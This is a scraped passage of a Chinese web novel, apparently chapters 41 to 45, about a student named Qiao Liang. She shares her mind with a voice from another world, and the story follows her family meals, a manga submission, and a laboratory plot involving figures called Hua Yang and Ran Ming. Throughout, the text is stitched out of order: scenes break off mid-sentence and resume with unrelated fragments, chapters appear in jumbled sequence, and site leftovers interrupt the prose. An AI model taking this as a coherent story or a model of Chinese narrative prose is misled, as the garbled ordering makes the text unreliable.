章琪没听清。 她一边把数位板放起来，一边絮絮叨叨地嘀咕着，“早知道就不送你去学这些了，净影响学习。” 合着不是你受累。 大概这无声吐槽被听见了，对面很爽快，[那就让我来。] 乔梁顿了一下，[不、不用。] 就唐问旸上次那反应，她担心自己室友的人身安全。 唐问旸还想说什么，随着乔梁的奶茶到手，他一下子安静下来。 隐约猜到原因乔梁噎了一下：这是不是也太好哄了？ 几分钟后，同样精力条见底的叶竺妍也过来了。 两人各自捧着一杯奶茶刷手机，乔梁走着神构思着自己的漫画分镜，叶竺妍不知道是在水群还是和谁聊天，打字速度溜到飞起。 过了一会儿，对面突然发出一声惊呼。 乔梁抬头：“怎么了？” 叶竺妍：“咱们学校的运动打卡出新规了！” 她一边说着，一边把手机递过来。 乔梁抬头望去，似乎是个小巷子，幽暗深邃看不清前路，天空也像是被无形地分隔开来，像是雷雨前夕的天气，光线明暗地闪烁着。 乔梁短暂地停住了脚步。 她定定地注视了那边片刻，终究还是将脚尖转向了“回家”的方向。 但还没来得及踏上去，那边情况一阵变化，空间像是被打碎的镜面，碎片四散，一个血淋淋的人就这么砸了下来。乔梁隐约觉得有点眼熟，但又确认自己记忆里并没有这个人。 还没来得及深想，就看见那人挣扎地向着她的方向伸出了手。 不能过去。 别多管闲事。 脑海中几乎第一时间出现了这样的声音，乔梁也确确实实站在原地站住了脚步。 乔梁觉得自己会选择离开的，如果现在所能想起的一切是她全部的经历，那么她或许会纠结挣扎，或许会迟疑不定，但是最后一定会选择袖手旁观。 因为她所追逐的那平稳安逸的人生，承担不起一点这种可能的意外，她绝不想有什么东西打破她的生活。 本该如此的。 但乔梁发现自己几乎没有犹豫地往那个方向走去。【你现在阅读的是 】 【END】 第 45 章 第 45 章 黎飞赶过来的时候，到底迟了一步。他简直眼睁睁地看着花央把乔梁放进了那个看起来就很不妙的设备里。 他当即想要冲过去，却被花央放出来的实验体拦住。 一番缠斗后，黎飞身上添了好几道血痕，这还是因为那个实验体看起来比起伤人来，更倾向于保护身后的设备。 看着那边被仪器遮挡得看不见身形的乔梁，黎飞咬了咬牙，选择强行冲了过去。 他拼着重伤被砸了过去，甚至没有立刻爬起来，而是先一步抬手扯断了所有能扯断的数据线，试图把乔梁从里面扒拉出来。 没想到黎飞会这么干，本来在一旁态度轻松的花央终于变了脸色。 他抬手比划了个手势，实验体立刻向着黎飞冲了过去，带着指虎的拳风直直地向着人砸去，在空中发出尖利的破风呼啸。 但最后响起的并非拳头砸到血肉的闷响，而是一声更加清脆的动静。 原本就被黎飞撞了个半损的设备这下子被毁了个彻底，而黎飞本人被千钧一发赶到的唐问旸拖到了一边。 乔梁重新回到这边世界时，正好看见了这混乱的一幕。四目相对，两个人都尬住了。 脑子里的声音还在说风凉话，[你看，我都说别过去了。] 乔梁：[……闭嘴吧你！] 她很快收拾好表情，仿佛什么都没有发现一样打了个招呼，“好巧啊，瑶晗你也在。” 沈瑶晗也飞快回神，放低了声音，语气温柔道：“好巧。” 唐问旸“啧啧”了两声，不知是为两人这粉饰太平的举动、还是为对面的前后变脸感慨。 乔梁眼皮跳了跳，没理那个看热闹不嫌事大的，对对面提出邀请，“我下午的课在303，准备提前过去？你呢？” 沈瑶晗连忙点头：“我也是。” 两人这么搭着话往上走。因为都是低层，两人直接走的楼梯，沈瑶晗的教室在二楼，准备分开的时候，乔梁却被叫住了。 乔梁有点意外的回头，却见沈瑶晗表情犹豫。 她踌躇了一下，开口：“乔梁……你这周六、有没有安排？” 乔梁这几天被唐问旸磨得够呛，听见这个熟悉的时间点，梁直条件反射地一口否认，“周六不行！” 这干脆又利落的拒绝一出，两边都愣住了。 尴尬无言的对视中，脑海里的闷笑声格外明显。 这毫不掩饰的愉快情绪实在很有幸灾乐祸的嫌疑，但乔梁恼怒的情绪还没来得及酝酿起来，却听见那道低沉带笑的声音在意识响起—— [说个‘不’而已，有这么难吗？] 这不是说出来了吗？ 纷杂的记忆涌入脑海，来不及做更加细致的整理，乔梁先一步做出了行动上的选择。她快步往其中一个方向跑去，按下了控制台上最显眼的按钮。 大量的麻醉性气体释放，乔梁抬手给自己注射了抽屉里的中和剂。 这是花央实验室里的紧急制动措施，效果产生得很快。等到乔梁走过去的时候，那个实验体已经倒在了原地。 不过唐问旸看起来也受到了不轻的影响，正拄着刀半跪在原地。 一旁的黎飞更不用说了，连吭都没吭一声就晕过去。 乔梁先是检查了黎飞的情况，确定没有什么立刻致命的伤势后，才转向唐问旸。 唐问旸这一觉虽说睡得浑身酸疼、但到底恢复了精神。 心情不错之下，听闻吴家的邀约也没发什么牢骚，还不等杜彦之解释什么，他就很干脆地一口应下。 杜彦之一愣。乔梁正在努力忍住打哈欠的欲望。 昨天两杯奶茶喝下去，晚上不出预料的失眠了。她睁眼盯着床帘顶棚看到了凌晨两点，终于酝酿出来点睡意，早上五点又自然清醒。 乔梁：“……”最后乔梁带着热量爆.炸的“卡路里许诺”，还有多出来的三块手机下了楼。 她有点怨念，[……你还真是不客气啊。] 居然全都答应下来了。 唐问旸浑不在意地笑了声，[有什么关系？] 乔梁小声嘟囔，[这么说也是啦……] 确实没错，大家都不是在意那点吃的的人。但是顺便帮忙跑个步而已，还蹭吃蹭喝，而且唐问旸这都不是“蹭吃蹭喝”、是“大吃大喝”了。 乔梁还在心底嘀咕这些，却听唐问旸道：[你根本不会拒绝人吧？] 乔梁一愣。 这骤然的沉默中，唐问旸像是看破了什么一样，哼笑了声。 还不等乔梁想出什么结论，就听唐问旸接着，[我这也是帮你朋友跑步了，你呢？就没什么感谢表示吗？学校的钵仔糕味道不错，正好今天跑的时候经过……] 乔梁：？？？ 乔梁：[做梦去吧！] 别太过分啊！ 都已经坑了她室友三份了，还想从她这多敲一点，两头捞也没有这样的啊？！ 唐问旸不太在意地低笑了一声。 看，拒绝他这不是挺爽快的吗？ 还有另一个不幸的消息，她今天满课。 在昏昏沉沉地度过了上午两节大课后，乔梁也没什么胃口，她在教学区买了点三明治对付了一下午饭，趁着午间趴在教室里小睡了一会儿，总算能睁着眼睛上下午的课了。 但依旧很困…… 乔梁努力把视线放在投影屏上，试图捕捉耳中的每一个字眼，但是眼前的文字渐渐重影，耳中的声音也变成了无意义的嗡鸣——非常催眠。 乔梁头往下跌了一下，瞬间清醒。她搓了把脸，拿起笔来，尝试记笔记提神。 五分钟后，又再次重复上个循环。乔梁最后也没和爸妈说那天自己在飞机上的诡异经历。 因为从机场出来之后，那道莫名的声音就没再出现。 乔梁乐观地想着：说不定只是意外呢。 果然，接下来的一整天都无事发生。 长久离家后的第一天回来，乔梁受到了爸妈无微不至的照顾，喝口水都恨不得送到嘴边的那种。 说实话，这过于浓厚的爱意让人有点难以忍受，乔梁的十分感动地受用了一会儿，不得不找了个理由躲到了屋里——她爸妈已经开始旁敲侧击她有没有交男朋友了…… 在父母那理所当然的认知里，仿佛学习相关的任务在高中毕业之后就彻底结束，人生进入到了一个新的阶段。 对此，期末复习得差点猝死的乔梁有话要说。 乔梁回屋在室友群里吐槽了一下这事，果不其然地得到了一系列共鸣回应。 室友群里的四人闲拉家常地聊了会归家感受，扯了一会儿后，话题自然而然地结束。乔梁也收起了手机，拿出了自己的数位板。 好在这是节大课，下午第一节又是最容易犯困的时候，乔梁在其中并不显眼。 终于熬到了课间，几乎什么都没听进去的乔梁放心往桌子上一趴，连教室里突然变得嘈杂的交谈声都成了白噪音，她差不多是秒睡，当然也没听见旁边的交谈。 他想想那日唐问旸的态度，自行给人找了原因解释，想来是长途奔袭、太过疲累，以至于精神不佳，烦于应付…… 年轻人嘛，一时脾气也可以理解。息州。 安思范身体抱恙这件事其实出征路上就有显露，但是大军出征并不是件小事，就此班师显然不现实，故而安思范一直有意压着消息，只是到底没能藏住。 泄露军情的那人当然已经被处置了，但是息州战况本就焦灼，这消息一出，士气散去、己方立刻就陷入了劣势。安思范本就人在病中，被这消息气得够呛，病又生生地重了几分，这才是真的病况凶险。 安恒德也是因此有退兵之意。 一时成败只是小事，主帅要是这么病故，朔州才会彻底陷入乱局。 想想现在朔州的情况，难不成真的让安恭义那一介小人掌事吗？！ 安思范醒后，听到安恒德决定后，当即把人臭骂了一顿。 正巧这会儿禹定的回信送来，安思范沉着脸看后，却是表情一霁。 少顷，竟是忍不住拊掌大笑，“哈哈哈，好！不愧是我家儿郎！有我当年风范！！” 安恒德目光落在被安思范放在一边的信上，飞快扫过几眼，却是眉头拧起。 ——梁直胡来！ 该不会是唐问旸线的cg地吧。 唐问旸像是并不意外乔梁对这地方的熟悉，他抬手扬了扬手里的丝带，“要系吗？” 乔梁使劲点点头。 果然是啊！ 这是唐问旸线的结局cg，在游戏的剧情线里，两人因为碰巧路过，参加了一个小型的聚居部落的群里婚礼仪式。现实世界当然赶不上那样的巧合，仪式的时间早就过去了，但并不影响两个人自由行动。 唐问旸准备得很齐全，连笔都带了。 一阵忙碌后，写着两个人名字的丝带被系到树枝上。 大概是这地方的气候特别，明明都已经入秋的天气，居然还有萤火虫，点点萤光落在刚刚系上的缎带上，场景梦幻至极。 乔梁忍不住往后退了一步，静静地欣赏这如梦似幻的一幕。 良久，她感慨着开口，“我还以为是游戏cg的夸张，没想到会真的有这种地方。” 唐问旸转头看过去：“游戏？” “是啊，恋爱游戏。”乔梁笑着看了过去，“为了攻略你，我可是很努力的。” 唐问旸怔然。 不期然地回忆起梦中所见的那一切，点点滴滴的违和感涌上心头，最明显的还是，“你送的那些礼物？” “你‘看’见了啊？”也想起自己游戏里干的好事，乔梁表情微微尴尬起来。但少顷，她还是抬头认真看了过去，“但这里不是游戏，是我选择的现实。” 朦胧的月色为她镀上的一层银辉，在这幻梦般的景色下，唐问旸也有了片刻恍惚。 他忍不住上前一步，将人拥入怀中。 切实的触感通过肢体传入脑中，证实了那并不是绮丽的梦境，而是确确实实的真实。 ——是无数的巧合和意外，带来了独属于这个世界的奇迹。【你现在阅读的是 】 40-45 第 41 章 第 41 章 两个队友都没事，事后那个0.5过来道歉了。 说实话，乔梁不是很想理他，但是考虑到自己才是扇巴掌的那个人，未免事后投诉，她保持了非常peace&love的状态，说了一箩筐好话，和颜悦色地把人哄了回去。 但是等人一走，她神色立刻冷淡下去。 唐问旸在旁边看到了。 他沉默了片刻，问：“很生气？” 乔梁叹气：“能理解，但无法接受吧。拼尽全力救回来的人，因为一些别的原因，主动放弃生命，总觉得自己的努力都白费了。有种‘有这时间，干点别的什么不好嘛’的感觉……话虽这么说，真有下次，也不可能看着不管。” 唐问旸微微怔然。她说这话的时候，态度很平静，甚至带着点无可奈何的叹息。 午后并不刺眼，透过林叶的间隙落在她身上，整个人都泛着一层朦胧的柔光。当自己都绝望放弃的时候，却仍旧有人不屈不挠地想要将他拉拽回人间。怎么能不动容呢？仿佛只要有这个人在，那绝望的冰冷便会如泡沫般蒸发。 心底那道声音越发叫嚣着鼓噪，但难得的理智挣扎着拉拽着思绪。那一声声质询像刀刃一样在神经来回切割。 他真的能将这一捧阳光关到不见天日的地下吗？ 唐问旸沉默了片刻，哑声开口：“你想要怎样的‘更好’？” 你愿意在这个世界追寻一个“不那么完美”的结局吗？ 乔梁被问得一愣，“怎么突然这么问？就算这么说，我也没法立刻回答。硬要说的话，让尽量少点的人死去？”这话出口，她又觉得仿佛说了句“世界和平”之类的废话，顿了顿，换了个说法，“我是说这次的事，先把研究所的问题解决了。至于说以后，谁知道呢？” 唐问旸那边的情况，乔梁还无从得知。 热闹的年节过去了，脑海中的那个声音没再出现，一切都重新步入正轨。有时候乔梁都恍惚觉得，那或许是自己臆想出来的幻觉。 倒是她的漫画还在稳步进展。“多谢宸哥，你怎么知道我困了？还特意帮我买咖啡，多不好意思啊！” 旁边那男生这么说着，可半点都没有“不好意思”的表现，伸手就要去接。 陈宸一拎袋子躲开，“不是给你的。” 伍徵明怪声：“唉？不是吧？你一个人喝两杯？这可是下午啊，你晚上要不要睡了？……别那么客气，兄弟我帮你分担点。” 陈宸拧眉：“你小点声。” 他这么说着，往旁边看了一眼。 伍徵明一开始还不明所以。 ——这可是课间，他声音也不大啊？ 但看见陈宸的动作，很快意识到什么，再看陈宸手里的咖啡，立刻露出了“我懂我懂”的眼神。 他之前也注意到了旁边那女生了，下午课大家都很困，但是像那个女生那么坚持还真的不多见，头一点一点地还挣扎着清醒……还怪可爱的。 就没想到老陈下手这么快。 伍徵明啧着声唏嘘着“没想到没想到”，在对面渐露威胁的眼神下，终于做了个封嘴拉拉链的姿势，但紧接着又接上，“加油！兄弟我精神上支持你。” 【梁牍老师你好，我是月下平台的编辑松鼠，很高兴接到您的投稿……】 “梁牍”是乔梁投稿用的笔名。 乔梁把邮件反复看了好几遍，确认是投稿通过的通知没有错，脑子嗡地一下。 心跳在胸腔中跃动、一下重过一下，血流被泵向四肢和大脑，乔梁后知后觉地发现自己的指.尖都有细微的颤抖。她使劲握了握手，但是那兴奋的情绪实在没有办法平复。 乔梁根本坐不住，撑着桌子推开转椅，在原地转了两圈，忍不住想要把这激动的情绪分享出去。 但是这点念头刚刚生出，大脑像是被泼了瓢凉水一样冷静下来。 这并不是考试成绩、或者拿到某某竞赛奖一样，能和爸爸妈妈分享的事情，那两人大概率不会为此高兴。 那上头的情绪稍微降了温，乔梁将目光投向旁边的聊天窗口。 在最上面的当然是刚刚互相抱怨吐槽过“假期余额不足”的室友群，乔梁点开之后却犹豫了一下。 ——真的要说吗？唐问旸是快中午的时候过来的，一过来就看见乔梁抱着自己的板子写写画画。 他先是问了自己关心的问题，[今天中午吃什么？] 压感笔在数位板上划出了一道突兀的直线，乔梁黑着脸按了撤销，心里愤愤地：就知道吃！ 两人昨天摸索过交流方式，并非明确指定对话方的心声并不会被另一个人听到。 但是意识交流实在是个难控制的事，乔梁不确定是自己刚才的话被听到了，还是对方单纯地感知到她的情绪，只听他关切问，[你心情不好？] 被这么一问，乔梁气闷的情绪霎时散开，同时些微的愧疚在心底蔓延。 因为个人情绪牵连无辜人的行为实在糟透了。 她才刚这么想着，就听见对方接着道，[吃点东西心情就好了。] 乔梁：[……] 她用支架撑起pad的动作一顿，面无表情地按住电源键熄屏了屏幕——上面是昨天没有播完的“十万个为什么（儿童版）”。 关心？呵。 这人恐怕只关心自己有没有得吃。 唐问旸确实感觉到乔梁生气了，但对此却很是摸不着头脑。 他仔细回想了一遍自己刚才的话，也没觉得哪里有问题，最后只能归结为“小姑娘的心思可真难懂”。 眼见着“科普视频”没的看了，唐问旸也没强求，顺势就把目光落在了乔梁前方的屏幕上。 看着乔梁一点点勾勒线条，他心底有点猜测，但还是觉得怪异，最终忍不住出声，[你这画的是什么啊？] 说实话，乔梁现在不太想理人。 但出于教养，她还是硬邦邦地回了两个字，[盔甲。] 却不料—— [……噗~！] [……] [……？！] 嘲笑吧！这个人绝对是在嘲笑吧！！！ 外面传来乔妈妈的声音，“梁梁，出来吃饭！” 乔梁表情愤愤地秒回：“我不饿！” 在过往的十多年里，这实在是个太常见的回答，章琪照例絮叨了两句，就没再强求。 一阵乒乒乓乓的摆盘声后，外面传来乔爸爸的声音：“我去叫梁梁。” 章琪：“不用，那孩子不吃了。” 乔爸：“又不吃？”看着从小到大、吃饭都是头等难事的女儿大口扒饭，章琪表情也变得疑惑起来：真这么好吃？ 她不确定地看了看自己碗里的饭，试探地挑了了一点尝尝，好像确实挺香的。 “那以后就买这个牌子了。” ——最后，她这么拍板决定道。 正忙着扒饭的乔梁口齿不清地应了一声。 “别光吃饭，吃菜。” 乔妈妈这么说着，夹了一筷子没刺的鱼腹肉到乔梁碗里。 乔梁百忙之中抽空“嗯”了一声，拌着饭填到了嘴里。 浓烈的味道在舌尖泛开，咸度适中、层次丰富，没有一点腥气…… 乔梁：？？？本来就是关系很远的亲戚了，以当代年轻人断亲状况，乔梁知道有这么个人都是难得，更别说主动打听了。 乔梁又往嘴里填了一筷子茄子，含糊：“没什么，就是突然想起来了，问一问。” 章琪也没有多想，只当女儿好奇。 她点了下头肯定了乔梁的询问，就跟女儿说起了那家的情况，“他们家也不容易，你秀芹表姑奶奶就那么一个儿子……” 乔妈妈在那里感慨别人的家事，但是乔梁却满脑子复杂的思绪。 ——有了，家族遗传病史！ 够了啊！她知道她妈做饭好吃，但只是家常菜而已，这仿佛什么星级大厨的感觉是怎么回事？！ 她内心挣扎着，筷子却不受控制地伸向餐桌。 章琪本来在旁边看着挺高兴的，这孩子从小吃饭是难题、能多吃两口都谢天谢地，还严重挑食，不吃的东西梁直能列个长单子，她都不记得对方上次吃得这么香是什么时候了。 但这么高兴着高兴着，又难过起来。 孩子在外面得饿成什么样、才吃得这么狼吞虎咽啊？ 章琪这么看着，脑子里浮现了一个模糊的念头。 她顿了顿，试探开口：“要不妈妈在你学校附近租个房子？” 章琪习以为常，“昨天吃得多，估计撑着了。” 在乔爸乔妈态度鲜明的反对下，乔梁对于画画这件事总有种“不务正业”的认知，那种下意识想要隐藏的羞耻感实在不是理智能够克服的，所以朋友们虽然知道她在画画，但是都并不清楚具体情况。突然说这种消息，是不是太奇怪了？ 纠结犹豫间，那种兴奋的情绪已经散得差不多了。 乔梁鼠标在聊天列表上戳戳点点，终究还是没能把消息发出去。 妈妈那“净画些没用的”点评浮上心间，曾经的画纸被爸爸随手塞到垃圾桶的画面闪现，兴奋过后、乔梁情绪反而低落下去。 ……这好像也不是什么值得分享的事。 乔梁这么想着，心底却隐隐期待能有什么声音回应她，就算是那种很讨人嫌的忍笑声也没关系。 意识之中一片安静，并没有出现什么多余的声音。 乔梁拍了拍脸，冷静下来。 总之，先回复。 如果只是像学期中的那样随便画画当然没那么多的要求，但是投稿签约情况要稍微复杂一点。 乔梁加了编辑联系方式，等待回应期间，把对方邮件中要求的资料整理汇总了一遍，准备发过去。对面通过得很快，乔梁还在斟酌打招呼用词期间，对方已经飞快发来消息。 [梁牍老师好，我是月下的编辑松鼠。我在平台的征稿箱里看到了您的作品，真是让人耳目一新，恋爱向的漫画里形象这么质朴的男主角很少见，能问问您是怎么想的吗？] 乔梁：“……” 她盯着“形象质朴”那几个字，瞳孔地震。 ——怎么会？！她已经那么努力地把男主画得帅气了！！ * 姜静的帮助确实有点效果，唐问旸还保持着意识。也听到了花央和冉铭的对话。 “我不明白，为什么要费这么大的周折？如果真的需要她配合的，用这个人威胁不就足够了？” “她不一样。我本来打算一个世界的一个世界的去尝试，但是没想到会真的遇到打破时空壁垒的人，所有的可能性在她身上坍缩。你知道这意味着什么吗？” 冉铭神色有一瞬间的扭曲，但表情很快就舒展开来，“我不动她。但是你说了，等到结束以后，你不再插手这个世界的事。” 花央眉眼一下子舒展开来，笑容昳丽，“当然。” 世界重叠，意识投影，这个世界所发生的一切就变成了一场“噩梦”。他知道冉铭想干什么，但那又如何呢？无非是一次更大范围的伊甸园的悲剧。 但越早在这个世界死亡，就越早的从这场噩梦中醒来，不是很好吗？ 第 42 章 第 42 章 平心而论，花央的态度没什么问题，甚至有点过于完美，不是表面的敷衍，而是真的打从心底里的耐心。 毕竟如他“看见”的，在他想要前往的那个“完美世界”里，两个人确实是青梅竹马地长大。 既然这样，他也不介意提前适应一下这个“哥哥”身份。 乔梁却觉得浑身刺挠，她说不清怎么回事，总之就是非常别扭。 脑子里的记忆没什么问题，虽然有点“有了男人就忘了哥”之嫌，乔梁还是坚持地问起了唐问旸的状况，“他现在怎么样了？我想去见见他。” 花央蹙了下眉。 按理说不应该如此，虽说有一部分催眠的刻意干扰，但更多的应该是平行世界的经历影响。如果是后者的话，她表现得过于排斥了。 花央很快就掩下深思的神色，满脸无奈地点头答应下来。 看起来似乎真的是个宠溺妹妹的好哥哥。虽然有乔梁主动帮忙查资料，但是得到的结果却并不乐观。 藤甲轻便且防御力上佳，优势如此明显的铠甲却早早退出历史舞台，显然有其致命的缺陷。原因之一便是制作困难，制作流程动辄以年计算。 感受着心底沉沉坠下的情绪，乔梁也觉得不太舒服。 她想了想，开口，[如果是盾牌呢？] 唐问旸：[嗯？]乔爸爸今天白天不在家，家里只有乔梁和妈妈章琪两个人。 虽然只有两人，但是因为乔梁久别归家的特别待遇，乔妈妈还是拾掇出来一大桌子菜。 按理说在吃了一个学期食堂之后，吃到久违的母亲的爱心餐，乔梁该非常满足才对——昨天确实是这样——不过现在的她心事重重，完全没什么胃口。怕被亲妈看出什么不对，乔梁还是强装自然地拿起了筷子，味同嚼蜡……不，非常好吃！ 乔梁：？？？ 她当然知道她妈做饭好吃，毕竟这是从小吃到大、养活了一个极度挑食的她的亲妈饭。但是现在这是怎么回事？ 她才刚扒了一口饭进到嘴里，就觉得入口绵软，米粒晶莹饱满、香气浓郁，没有一点糠皮残留…… 乔梁懵逼地低头看碗。 这就是普通的大米饭吧？！哪有那么香？ 她这么想着，手又不受控制地往嘴里扒了一口。 一大口。 乔梁：？？？ 她艰难地把那口快把她噎死的饭咽下去，迟疑抬头：“妈，咱们家换米了？” 章琪却误会了女儿的意思，“对，是上次超市减价大促销的时候买的。你嘴刁得、这都能吃出来……先将就一下吧，等你爸晚上回来，让他顺道去趟超市、买点新米。” “不，不用。”乔梁连忙摇头，她眼神怪异地盯着碗里的饭看了半天，低声喃喃，“我觉得这米还挺好吃的。” 乔梁：[我小时候在老家见过，会有婆婆用有点像藤蔓的枝条编筐，如果只是编织圆形的盾牌的话，比那还梁单点。而且盾牌不像铠甲有那么多的弯折处，对材料的要求也更低……] 她这么说着，却听见唐问旸突然笑起来。 乔梁被笑得莫名，[你笑什么？] 她猜或许是和上次铠甲差不多的情况，她的提议哪里又有问题了，不由带出些气恼。 却不料对方很快答，[没什么，是我傻了。] 明明有这么梁便快捷的方法，大概是这几日一直在想甲胄的事，脑子一时没转过来。 总之—— [多谢你了。这次若是禹州能定，算你一功！] 乔梁：[……哦。] 她刚刚涌上来的恼意一断，心底觉得怪怪的。 这莫名的参与感，仿佛在玩什么线上争霸游戏一样。现在的“任务”大概是【平定禹州·战前准备】？ 乔梁摇了摇头，把那些乱七.八糟的想法赶出脑海。 ——什么任务不任务的？她根本连地图主线都不知道。 乔梁顿了一下，迟疑着开口，[甲胄方面，我再查一查。] 唐问旸倒是很宽心，倒是反过来让乔梁不必太焦虑。 [暂时够用了，你以为全甲有多难得？像你画的那种全甲将士，已是精锐中的精锐，能有千余人，便足够……] 唐问旸顿了一下，把后面的话咽了下去，自然而然地转了话题。 乔梁倒是没注意那点异样的停顿，在脑海里喋喋不休的背景音中，她缓缓地将视线投到自己的男主角身上。 对啊，她为什么要让男主角穿全套甲胄？ 作为一个恋爱漫画的男主角，他的安全重要吗？ 一点也不。 ——重要的明明是帅！！ 而且战损明明是嘶哈点。 赤着上半身、卸下所有防备出现在女主面前，任由心上人柔软的手指触碰伤口周围的肌肤，忍痛的闷哼声自喉间溢出…… 随着脑海中张力的画面一点点清晰，乔梁心跳也随着加快。在微微急促的呼吸中，她咬了咬自己的下唇，拿起了旁边的笔。 唐问旸不知道什么时候止了声。 那股怪异情绪在心间蔓延，他整个人都不自在起来——太奇怪了啊！ 乔梁本来是有点怀疑的，但是一出去就发现，她对这个充满冰凉冷淡风格的研究所非常熟悉，就连里面的人也是。 两人一出门就和冉铭打了个照面，后者露出了刻意掩饰但仍旧很感兴趣的目光，让人油然生出种仿佛被毒蛇盯上冰凉感。 乔梁觉得自己应该有点紧张的，但心底莫名安心。 有种看见屡次搞事都不成功的搞笑役反派的感觉，忍不住就对着人露出一个笑来。 不提唐问旸那边如何兵行险着，乔梁却过得忙忙碌碌。 和编辑讨论之后，对方给出了不少修改意见，乔梁趁着假期余额告罄的这几天一直在修改，一直到群里讨论返校时间的时候，乔梁才惊觉，自己差点忘了买回校的票。 虽然过程很艰辛，但结果是美好的。 乔梁总算赶在返校前完成了初步的修改，两边都松了口气。 编辑松鼠：[我已经把你的稿子提交主编，明天开会商讨，如果一切顺利的话，就能正式签约啦~] 乔梁斟酌用词：[好的，谢谢编辑。这段时间辛苦您了！] 似乎是从乔梁的遣词上看出什么，对面开解：[不用那么紧张，我觉得你通过的机会很大，很少有恋爱漫画这么用心做背景资料了，花了很多心思吧？] 被对面这么一提醒，乔梁才发现自己的手不知道什么时候握紧了拳。 她确实有点紧张、亿点点…… 反正不可能是那三岁小孩，朝廷也绝对插手不进去。 那就只能是—— “安思范麾下部将。” 吴仁辅恍然接了这么一句，但很快又拧起了眉头，“可怎么也轮不到唐问旸啊？” 安思范麾下将领何其多？论资历论年限，哪里轮得着唐问旸这毛头小子？甚至论和安思范的亲近程度，唐问旸都排不上号。 他可是姓“唐”的！ 连名都没改，可见在诸多义子中，也不是亲近的那类型。 吴仁辅还拧眉思索，就见吴恪表情极淡地笑了下，“本来是轮不到的。” 吴仁辅一愣。 ——什么叫“本来轮不到”？ 他心底生出点猜测，忍不住抬头去看吴恪。 吴恪见状轻颔了一下首。 倒也不是个蠢人。 吴恪：“你好好想想罢。” 本来轮不到，但是有了吴家鼎力相助，可就不一定了。 ——奇货可居。 也就比去年等高考成绩那时候多一点吧。 不过看到那句“用心做背景资料”，乔梁还是心情微妙。虽然确实在上面废了不少心思，但是对面绝对猜不到真正的原因：她可是真的给一场古代战争做了准备期的远程援助！震声！ 说起这个来，也不知道唐问旸那边怎么样了？一直没有消息…… 乔梁正这么想着，却听房间门被敲响。 她骤然回神，手忙脚乱地隐藏聊天窗口。果然，下一秒房间门被打开，乔妈妈催促，“明天就回学校了，今天别睡那么晚。快洗个澡，早点上床。” 乔梁“嗯嗯”应是，等乔妈妈走后，才重新打开聊天窗口。 又和编辑聊了几句漫画的情况，两人结束话题，乔梁才抱着毛巾去了浴室。 蒸腾的水汽一点点模糊了视野，热水舒缓了紧绷身体，乔梁缓缓呼出了一口气。 在这样放松的环境下，先前被打断的想法又在脑海里浮现。 ……不知道唐问旸那边现在怎么样了？ * 不用乔梁刻意拖延进度，花央的实验进展本来就很不顺利。 又双叒叕一次从那个形似核磁的大型仪器中出来，乔梁看见了旁边花央正眉头紧锁地看着控制台上的数据，像是遇到了什么难解的问题，脸色很不愉快。 虽然“不记得”了，但是乔梁隐隐感觉这才是正常的。 要是这人真的轻而易举地找到办法，她才觉得不对劲呢。 感觉到旁边的注视，花央回神，他勉强挤出一个笑来，心不在焉地，“今天先到这里吧，自己回去可以吗？” 大概因为进展不顺，花央全副心神都扑在研究上，前几天还在尽力维持的好哥哥人设已经崩得差不多了。 但乔梁乐得对方放松监视，当然不会主动提醒。 而这段时间，也足够暗地里在研究所的唐问旸调查出来一些事了，乔梁刚刚回去，就得到唐问旸的提醒，“这间研究所不仅仅有花央的人，冉铭盯上你了。” 乔梁觉得自己并不意外，甚至隐隐预料到了，“正好，我找机会把这事透露给花央。” ——让他们窝里斗啊！ 说起花央和冉铭决裂的事，乔梁总觉得这里面有个大剧情要过，但是还没等她做什么行动，反而被冉铭反将一军。 “你最好确认一下你那个好妹妹有没有问题。研究所的西南侧有大量热能反应，有人确定了研究所的位置。就算是那个逃出去的实验体，也没道理反应这么快。你觉得会有谁在给他们提供消息？” 这也就是乔梁现在被按在手术台上，被划开手臂的皮肤，取下了埋在皮下的芯片的原因。 染血的芯片落在旁边的手术托盘上，几乎没有发出声音。 这点小手术还用不着全麻那么大的阵仗，乔梁清醒地看见花央眼镜后的眼神带着冰凉的冷意。 一股头皮发麻的颤栗感转瞬席卷而来，乔梁瞬间意识到这是关键节点。 她好像隐隐看见自己似乎曾经抬手滑过选项，但这一切变成真实时，她简直用尽了全身的克制力，才稳住了自己表情，状似茫然地，“哥哥？” 目睹着那眼中的冷意一点点褪.去，乔梁却根本不敢放松。 她背上泛起了一层薄薄的冷汗，但眼神仍旧一瞬不瞬地注视对方。 好一会儿，花央才一点点放缓了表情，把那放着芯片的托盘推到乔梁眼前。 旁边染血的手术刀泛着凛凛的寒光，乔梁听见他语气温柔地，“我说过了，外面的人并不可信。” 第 43 章 第 43 章 乔梁浑浑噩噩，都不知道自己怎么进的房间，等确认花央确实不在现场，她才终于松了口气。 手不知道什么时候揪住了衣领，胸腔剧烈起伏着。 她大口大口地喘气，但空气不够用的感觉仍旧过分强烈，即便过量的氧气摄入都已经让人头脑眩晕。 乔梁心知肚明自己有点过呼吸的症状，她努力调解，但作用不大。 唐问旸悄无声息地落地，屈着手覆在乔梁的口鼻处。 呼吸被限制了一会儿，乔梁的状况才终于好转。 唐问旸犹豫了一下，轻轻拍抚了乔梁的后背。下雨了？ 唐问旸刚刚过来，就察觉异样。 水如珠帘般从上倾斜而下，一点点浸透身体，他顺势产生这样的疑惑。但也很快就意识到了不对，这水怎么是热的？而且周围也是雾气蒸腾的…… 唐问旸心底隐约闪过模糊的想法，但还没待成形，那边乔梁已经察觉到了。 乔梁虽然意识到了，但是不敢确定。客厅。 乔梁刚把杯子放在饮水机的凉水座上，就听见厨房里传来她妈的声音，“大冬天的，别老喝些凉的。” 乔梁：“……” 她应该没弄出什么声音吧？乔梁没能睡着。 脑子里的那个声音实在太吵了。 从“为什么能在天上？是腾云术吗，还是仙家法器？我能不能学？”到“刚才那个盒子是什么？它为什么能发光？”再到“旁边的人为什么都在睡觉？是中了什么术法吗？” 乔梁：“……” 对，是仙家法器，如果想学，可以选择航空航天院校的飞机制造专业；屏幕发光大体可分为LCD或者LED两种方式，一个是电场调控液晶分子对背光的透过度，一个是二极管主动发光；是中了术法，术法的源头就是那个凌晨四点那个“叮铃铃”的闹铃声…… 这么一路默默地吐槽着，等乔梁回过神来，已经是降落前三十分钟的洗手间关闭通知了，空姐吐字清晰的温柔声音从广播中传出来，乔梁这才意识到时间过得这么快。 随着乔梁睁开眼睛，那声音也像是被打断了。 他停顿了一下，带着点些微抱怨语气出声：[你为什么不理我？] 乔梁：“……” 我怕被当成神经病。 虽然就目前来看，这很有可能是字面意义上的真实情况。 大概是从乔梁的沉默中领会到了什么，在接下来的下降过程中，对方的没再出声了。 说实话，乔梁居然有那么一丢丢不习惯。 